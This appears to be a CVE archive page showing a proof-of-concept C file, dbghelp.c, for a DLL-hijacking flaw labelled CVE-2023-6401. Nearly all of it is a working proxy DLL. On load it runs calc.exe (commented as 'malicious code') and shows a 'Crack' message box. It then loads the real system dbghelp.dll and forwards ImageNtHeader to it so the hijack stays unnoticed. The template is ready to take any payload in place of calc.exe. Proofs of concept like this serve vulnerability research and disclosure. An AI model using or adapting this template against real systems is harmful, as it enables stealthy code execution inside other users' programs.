4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / dbghelp.c C
#include <windows.h>

typedef PIMAGE_NT_HEADERS (WINAPI *pImageNtHeader)(PVOID Base);

static HMODULE realDbghelp = NULL;
static pImageNtHeader realImageNtHeader = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            // 執行惡意程式碼
            WinExec("calc.exe", SW_SHOW);
            MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK | MB_ICONINFORMATION);

            // 載入系統真實 dbghelp.dll
            char systemPath[MAX_PATH];
            GetSystemDirectoryA(systemPath, MAX_PATH);
            strcat(systemPath, "\\dbghelp.dll");
            realDbghelp = LoadLibraryA(systemPath);

            if (realDbghelp)
            {
                realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
            }
        }
        break;
    case DLL_PROCESS_DETACH:
        if (realDbghelp)
        {
            FreeLibrary(realDbghelp);
        }
        break;
    }
    return TRUE;
}

// 轉發 ImageNtHeader 函式
__declspec(dllexport) PIMAGE_NT_HEADERS WINAPI ImageNtHeader(PVOID Base)
{
    if (realImageNtHeader)
        return realImageNtHeader(Base);
    return NULL;
}